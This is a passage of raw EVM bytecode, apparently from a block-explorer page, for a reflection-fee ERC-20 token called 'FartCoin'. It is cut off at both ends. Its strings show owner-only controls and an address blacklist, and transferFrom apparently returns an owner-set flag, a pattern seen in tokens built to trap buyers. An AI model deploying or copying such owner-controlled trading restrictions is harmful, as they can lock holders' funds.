6908315150217905550806001019050612c18565b505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1b9061515d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d89906151eb565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612e6c919061498e565b60405180910390a3505050565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612f175750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b612f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4d90615253565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbb906152e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613032576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130299061536f565b60405180910390fd5b5f8111613074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306b906153fd565b60405180910390fd5b61307d83611e49565b8111156130bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b69061548b565b60405180910390fd5b61316683838360065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680613160575060065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561324e565b505050565b5f8383111582906131b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131a99190614859565b60405180910390fd5b5082840390509392505050565b5f6131e4835f018373ffffffffffffffffffffffffffffffffffffffff165f1b613e09565b905092915050565b6131f461479a565b6131fe8383613f05565b905061321381848461320e61400b565b61402d565b865f018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b80156136285760235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613456576132b06121a0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561331e57506132ee6121a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156133575750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156133e4575f60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036133e3574260085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b8260105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506017601f5f820154815f0155600182015481600101556002820154816002015560038201548160030155905050613623565b61345e6121a0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156134cc575061349c6121a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156135055750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156135a6575f613520613517866116a4565b600e5487612227565b905080613562576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613559906154f3565b60405180910390fd5b4260095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b601b601f5f820154815f0155600182015481600101556002820154816002015560038201548160030155905050601f60020154601f600201819055508360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b613749565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156136b8578360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615613748578260105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5f61375483836131ec565b905060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156137f3575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15613887578260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546138419190614efc565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550613b78565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015613924575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156139bc578060c0015160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546139769190614f5c565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550613b77565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015613a58575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15613b76578260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613aa69190614efc565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060c0015160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613b349190614f5c565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5b805f015160035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613bc49190614efc565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550806020015160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613c529190614f5c565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508115613d5f57613cab81604001518260e001516140b2565b613cbe81606001518261010001516140e4565b613cd18160800151826101200151614281565b613ce48160a0015182610140015161441f565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151846101000151613d499190614f5c565b604051613d56919061498e565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051613dc0919061498e565b60405180910390a3613ddc84600161446690919063ffffffff16565b505f613de786611e49565b03613e0257613e008560016131bf90919063ffffffff16565b505b5050505050565b5f80836001015f8481526020019081526020015f205490505f8114613efa575f600182613e369190614efc565b90505f6001865f0180549050613e4c9190614efc565b9050818114613eb2575f865f018281548110613e6b57613e6a614ea2565b5b905f5260205f200154905080875f018481548110613e8c57613e8b614ea2565b5b905f5260205f20018190555083876001015f8381526020019081526020015f2081905550505b855f01805480613ec557613ec4614f2f565b5b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050613eff565b5f9150505b92915050565b613f0d61479a565b81613f2157828160c0018181525050614005565b6064601f5f015484613f339190615511565b613f3d919061557f565b8160e00181815250506064601f6001015484613f599190615511565b613f63919061557f565b816101000181815250506064601f6002015484613f809190615511565b613f8a919061557f565b816101200181815250506064601f6003015484613fa79190615511565b613fb1919061557f565b816101400181815250508061014001518161012001518261010001518360e0015186613fdd9190614efc565b613fe79190614efc565b613ff19190614efc565b613ffb9190614efc565b8160c00181815250505b92915050565b5f805f614016614493565b915091508082614026919061557f565b9250505090565b5f805f805f8060019650889550876140565785865f805f809550955095509550955095506140a5565b8960e00151935089610100015192508961012001519150896101400151905080828486896140849190614efc565b61408e9190614efc565b6140989190614efc565b6140a29190614efc565b94505b9499939850945094509450565b81600d546140c09190614efc565b600d819055508060115f015f8282546140d99190614f5c565b925050819055505050565b8060155f015f8282546140f79190614f5c565b925050819055508060116001015f8282546141129190614f5c565b925050819055508160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546141629190614f5c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561427d578060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461423b9190614f5c565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050565b8060156001015f8282546142959190614f5c565b925050819055508060116002015f8282546142b09190614f5c565b925050819055508160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546143009190614f5c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561441b578060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546143d99190614f5c565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050565b8060116003015f8282546144339190614f5c565b9250508190555080600c546144489190614efc565b600c8190555081600d5461445c9190614efc565b600d819055505050565b5f61448b835f018373ffffffffffffffffffffffffffffffffffffffff165f1b614713565b905092915050565b5f805f600d5490505f600c5490505f5b600b805490508110156146dd578260035f600b84815481106144c8576144c7614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411806145ad57508160045f600b848154811061454957614548614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156145c457600d54600c549450945050505061470f565b60035f600b83815481106145db576145da614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836146489190614efc565b925060045f600b838154811061466157614660614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054826146ce9190614efc565b915080806001019150506144a3565b50600c54600d546146ee919061557f565b82101561470657600d54600c5493509350505061470f565b81819350935050505b9091565b5f61471e838361477a565b61477057825f0182908060018154018082558091505060019003905f5260205f20015f9091909190915055825f0180549050836001015f8481526020019081526020015f208190555060019050614774565b5f90505b92915050565b5f80836001015f8481526020019081526020015f20541415905092915050565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61482b826147e9565b61483581856147f3565b9350614845818560208601614803565b61484e81614811565b840191505092915050565b5f6020820190508181035f8301526148718184614821565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6148aa82614881565b9050919050565b6148ba816148a0565b81146148c4575f80fd5b50565b5f813590506148d5816148b1565b92915050565b5f819050919050565b6148ed816148db565b81146148f7575f80fd5b50565b5f81359050614908816148e4565b92915050565b5f806040838503121561492457614923614879565b5b5f614931858286016148c7565b9250506020614942858286016148fa565b9150509250929050565b5f8115159050919050565b6149608161494c565b82525050565b5f6020820190506149795f830184614957565b92915050565b614988816148db565b82525050565b5f6020820190506149a15f83018461497f565b92915050565b5f602082840312156149bc576149bb614879565b5b5f6149c9848285016148c7565b91505092915050565b5f805f606084860312156149e9576149e8614879565b5b5f6149f6868287016148c7565b9350506020614a07868287016148c7565b9250506040614a18868287016148fa565b9150509250925092565b614a2b8161494c565b8114614a35575f80fd5b50565b5f81359050614a4681614a22565b92915050565b5f60208284031215614a6157614a60614879565b5b5f614a6e84828501614a38565b91505092915050565b5f60208284031215614a8c57614a8b614879565b5b5f614a99848285016148fa565b91505092915050565b5f60ff82169050919050565b614ab781614aa2565b82525050565b5f602082019050614ad05f830184614aae565b92915050565b5f8060408385031215614aec57614aeb614879565b5b5f614af9858286016148fa565b9250506020614b0a85828601614a38565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112614b3557614b34614b14565b5b8235905067ffffffffffffffff811115614b5257614b51614b18565b5b602083019150836020820283011115614b6e57614b6d614b1c565b5b9250929050565b5f8060208385031215614b8b57614b8a614879565b5b5f83013567ffffffffffffffff811115614ba857614ba761487d565b5b614bb485828601614b20565b92509250509250929050565b5f805f8060808587031215614bd857614bd7614879565b5b5f614be5878288016148fa565b9450506020614bf6878288016148fa565b9350506040614c07878288016148fa565b9250506060614c18878288016148fa565b91505092959194509250565b5f608082019050614c375f83018761497f565b614c44602083018661497f565b614c51604083018561497f565b614c5e606083018461497f565b95945050505050565b5f604082019050614c7a5f83018561497f565b614c87602083018461497f565b9392505050565b614c97816148a0565b82525050565b5f602082019050614cb05f830184614c8e565b92915050565b5f805f60608486031215614ccd57614ccc614879565b5b5f614cda868287016148fa565b9350506020614ceb868287016148fa565b9250506040614cfc868287016148c7565b9150509250925092565b5f8060408385031215614d1c57614d1b614879565b5b5f614d29858286016148c7565b9250506020614d3a858286016148c7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f614d786020836147f3565b9150614d8382614d44565b602082019050919050565b5f6020820190508181035f830152614da581614d6c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f614e06602a836147f3565b9150614e1182614dac565b604082019050919050565b5f6020820190508181035f830152614e3381614dfa565b9050919050565b7f4163636f756e74206973206e6f74206578636c756465640000000000000000005f82015250565b5f614e6e6017836147f3565b9150614e7982614e3a565b602082019050919050565b5f6020820190508181035f830152614e9b81614e62565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f614f06826148db565b9150614f11836148db565b9250828203905081811115614f2957614f28614ecf565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603160045260245ffd5b5f614f66826148db565b9150614f71836148db565b9250828201905080821115614f8957614f88614ecf565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c79005f82015250565b5f614fc3601f836147f3565b9150614fce82614f8f565b602082019050919050565b5f6020820190508181035f830152614ff081614fb7565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c7564656400000000005f82015250565b5f61502b601b836147f3565b915061503682614ff7565b602082019050919050565b5f6020820190508181035f8301526150588161501f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6150b96026836147f3565b91506150c48261505f565b604082019050919050565b5f6020820190508181035f8301526150e6816150ad565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6151476024836147f3565b9150615152826150ed565b604082019050919050565b5f6020820190508181035f8301526151748161513b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6151d56022836147f3565b91506151e08261517b565b604082019050919050565b5f6020820190508181035f830152615202816151c9565b9050919050565b7f54686973206164647265737320697320626c61636b6c697374656400000000005f82015250565b5f61523d601b836147f3565b915061524882615209565b602082019050919050565b5f6020820190508181035f83015261526a81615231565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6152cb6025836147f3565b91506152d682615271565b604082019050919050565b5f6020820190508181035f8301526152f8816152bf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6153596023836147f3565b9150615364826152ff565b604082019050919050565b5f6020820190508181035f8301526153868161534d565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6153e76029836147f3565b91506153f28261538d565b604082019050919050565b5f6020820190508181035f830152615414816153db565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f7265205f8201527f7468616e20796f752062616c616e636500000000000000000000000000000000602082015250565b5f6154756030836147f3565b91506154808261541b565b604082019050919050565b5f6020820190508181035f8301526154a281615469565b9050919050565b7f6572726f720000000000000000000000000000000000000000000000000000005f82015250565b5f6154dd6005836147f3565b91506154e8826154a9565b602082019050919050565b5f6020820190508181035f83015261550a816154d1565b9050919050565b5f61551b826148db565b9150615526836148db565b9250828202615534816148db565b9150828204841483151761554b5761554a614ecf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f615589826148db565b9150615594836148db565b9250826155a4576155a3615552565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220079080116a97009a7f3bef9575226eee6fd88978213da245d286b98f3546c06f64736f6c634300081a0033000000000000000000000000bb1cfacef83d26144d7eab7fa4c7927ee224448d

Deployed Bytecode

0x608060405260043610610302575f3560e01c8063715018a61161018f578063bc0ad5a3116100db578063ea2f0b3711610094578063f2fde38b1161006e578063f2fde38b14610be3578063f6d7eade14610c0b578063f921400514610c35578063ff89757014610c5f57610309565b8063ea2f0b3714610b55578063ecbde40c14610b7d578063efbe389a14610bb957610309565b8063bc0ad5a314610a3b578063c2b7bbb614610a65578063c49b9a8014610a8d578063dd62ed3e14610ab5578063e2255e2914610af1578063e7e6451914610b1957610309565b806395d89b4111610148578063a39801c611610122578063a39801c61461094b578063a457c2d714610987578063a8be9a58146109c3578063a9059cbb146109ff57610309565b806395d89b41146108ca5780639b26c923146108f45780639ba5e4d51461091e57610309565b8063715018a6146107ce57806373cafdc2146107e4578063786564c41461081157806388f82020146108395780638b7afe2e146108755780638da5cb5b146108a057610309565b80633ccfd60b1161024e5780634a74bb02116102075780635342acb4116101e15780635342acb4146107015780635a1afc561461073d57806370a0823114610765578063713898cd146107a157610309565b80634a74bb021461068757806351ecfeae146106b157806352390c02146106d957610309565b80633ccfd60b146105815780634359a87114610597578063437823ec146105d35780634549b039146105fb5780634a17beb1146106375780634a49ac4c1461065f57610309565b80632d838119116102bb57806334ef80bc1161029557806334ef80bc146104cd5780633685d419146104f5578063370f0a601461051d578063395093511461054557610309565b80632d8381191461043d578063313ce5671461047957806331b72ff0146104a357610309565b806306fdde031461030d578063095ea7b31461033757806318160ddd146103735780631cdd3be31461039d57806323b872dd146103d9578063275d53ce1461041557610309565b3661030957005b5f80fd5b348015610318575f80fd5b50610321610c87565b60405161032e9190614859565b60405180910390f35b348015610342575f80fd5b5061035d6004803603810190610358919061490e565b610cc4565b60405161036a9190614966565b60405180910390f35b34801561037e575f80fd5b50610387610ce1565b604051610394919061498e565b60405180910390f35b3480156103a8575f80fd5b506103c360048036038101906103be91906149a7565b610cea565b6040516103d09190614966565b60405180910390f35b3480156103e4575f80fd5b506103ff60048036038101906103fa91906149d2565b610d07565b60405161040c9190614966565b60405180910390f35b348015610420575f80fd5b5061043b60048036038101906104369190614a4c565b610de9565b005b348015610448575f80fd5b50610463600480360381019061045e9190614a77565b610e82565b604051610470919061498e565b60405180910390f35b348015610484575f80fd5b5061048d610ed0565b60405161049a9190614abd565b60405180910390f35b3480156104ae575f80fd5b506104b7610ed8565b6040516104c4919061498e565b60405180910390f35b3480156104d8575f80fd5b506104f360048036038101906104ee9190614a77565b610ede565b005b348015610500575f80fd5b5061051b600480360381019061051691906149a7565b610f64565b005b348015610528575f80fd5b50610543600480360381019061053e91906149a7565b61127c565b005b348015610550575f80fd5b5061056b6004803603810190610566919061490e565b611536565b6040516105789190614966565b60405180910390f35b34801561058c575f80fd5b506105956115dd565b005b3480156105a2575f80fd5b506105bd60048036038101906105b891906149a7565b6116a4565b6040516105ca919061498e565b60405180910390f35b3480156105de575f80fd5b506105f960048036038101906105f491906149a7565b6116ea565b005b348015610606575f80fd5b50610621600480360381019061061c9190614ad6565b6117be565b60405161062e919061498e565b60405180910390f35b348015610642575f80fd5b5061065d60048036038101906106589190614b75565b611840565b005b34801561066a575f80fd5b50610685600480360381019061068091906149a7565b611957565b005b348015610692575f80fd5b5061069b611a2a565b6040516106a89190614966565b60405180910390f35b3480156106bc575f80fd5b506106d760048036038101906106d29190614bc0565b611a3d565b005b3480156106e4575f80fd5b506106ff60048036038101906106fa91906149a7565b611ae6565b005b34801561070c575f80fd5b50610727600480360381019061072291906149a7565b611d71565b6040516107349190614966565b60405180910390f35b348015610748575f80fd5b50610763600480360381019061075e9190614a77565b611dc3565b005b348015610770575f80fd5b5061078b600480360381019061078691906149a7565b611e49565b604051610798919061498e565b60405180910390f35b3480156107ac575f80fd5b506107b5611f24565b6040516107c59493929190614c24565b60405180910390f35b3480156107d9575f80fd5b506107e2611f41565b005b3480156107ef575f80fd5b506107f8612077565b6040516108089493929190614c24565b60405180910390f35b34801561081c575f80fd5b5061083760048036038101906108329190614bc0565b612094565b005b348015610844575f80fd5b5061085f600480360381019061085a91906149a7565b61213d565b60405161086c9190614966565b60405180910390f35b348015610880575f80fd5b5061088961218f565b604051610897929190614c67565b60405180910390f35b3480156108ab575f80fd5b506108b46121a0565b6040516108c19190614c9d565b60405180910390f35b3480156108d5575f80fd5b506108de6121c7565b6040516108eb9190614859565b60405180910390f35b3480156108ff575f80fd5b50610908612204565b604051610915919061498e565b60405180910390f35b348015610929575f80fd5b5061093261220a565b6040516109429493929190614c24565b60405180910390f35b348015610956575f80fd5b50610971600480360381019061096c9190614cb6565b612227565b60405161097e9190614966565b60405180910390f35b348015610992575f80fd5b506109ad60048036038101906109a8919061490e565b6122db565b6040516109ba9190614966565b60405180910390f35b3480156109ce575f80fd5b506109e960048036038101906109e491906149a7565b6123a3565b6040516109f6919061498e565b60405180910390f35b348015610a0a575f80fd5b50610a256004803603810190610a20919061490e565b6123b8565b604051610a329190614966565b60405180910390f35b348015610a46575f80fd5b50610a4f6123e3565b604051610a5c9190614966565b60405180910390f35b348015610a70575f80fd5b50610a8b6004803603810190610a8691906149a7565b6123f6565b005b348015610a98575f80fd5b50610ab36004803603810190610aae9190614a4c565b61266d565b005b348015610ac0575f80fd5b50610adb6004803603810190610ad69190614d06565b61273d565b604051610ae8919061498e565b60405180910390f35b348015610afc575f80fd5b50610b176004803603810190610b129190614a4c565b6127bf565b005b348015610b24575f80fd5b50610b3f6004803603810190610b3a91906149a7565b612858565b604051610b4c919061498e565b60405180910390f35b348015610b60575f80fd5b50610b7b6004803603810190610b7691906149a7565b61289e565b005b348015610b88575f80fd5b50610ba36004803603810190610b9e91906149a7565b612971565b604051610bb0919061498e565b60405180910390f35b348015610bc4575f80fd5b50610bcd612986565b604051610bda9190614c9d565b60405180910390f35b348015610bee575f80fd5b50610c096004803603810190610c0491906149a7565b6129ab565b005b348015610c16575f80fd5b50610c1f612b50565b604051610c2c9190614c9d565b60405180910390f35b348015610c40575f80fd5b50610c49612b75565b604051610c569190614c9d565b60405180910390f35b348015610c6a575f80fd5b50610c856004803603810190610c809190614b75565b612b9a565b005b60606040518060400160405280600881526020017f46617274436f696e000000000000000000000000000000000000000000000000815250905090565b5f610cd7610cd0612caf565b8484612cb6565b6001905092915050565b5f600c54905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f610d13848484612e79565b610dd084610d1f612caf565b610dcb856040518060600160405280602881526020016155b06028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610d82612caf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461316b9092919063ffffffff16565b612cb6565b602560169054906101000a900460ff1690509392505050565b610df1612caf565b73ffffffffffffffffffffffffffffffffffffffff16610e0f6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5c90614d8e565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b5f600d54821115610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90614e1c565b60405180910390fd5b819050919050565b5f6009905090565b600f5481565b610ee6612caf565b73ffffffffffffffffffffffffffffffffffffffff16610f046121a0565b73ffffffffffffffffffffffffffffffffffffffff1614610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5190614d8e565b60405180910390fd5b80600f8190555050565b610f6c612caf565b73ffffffffffffffffffffffffffffffffffffffff16610f8a6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790614d8e565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611069576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106090614e84565b60405180910390fd5b5f5b600b80549050811015611278578173ffffffffffffffffffffffffffffffffffffffff16600b82815481106110a3576110a2614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361126b57600b6001600b805490506110fa9190614efc565b8154811061110b5761110a614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600b828154811061114757611146614ea2565b5b905f5260205f20015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b80548061123457611233614f2f565b5b600190038181905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611278565b808060010191505061106b565b5050565b611284612caf565b73ffffffffffffffffffffffffffffffffffffffff166112a26121a0565b73ffffffffffffffffffffffffffffffffffffffff16146112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90614d8e565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166114c957600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411156114685761142660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e82565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600b81908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001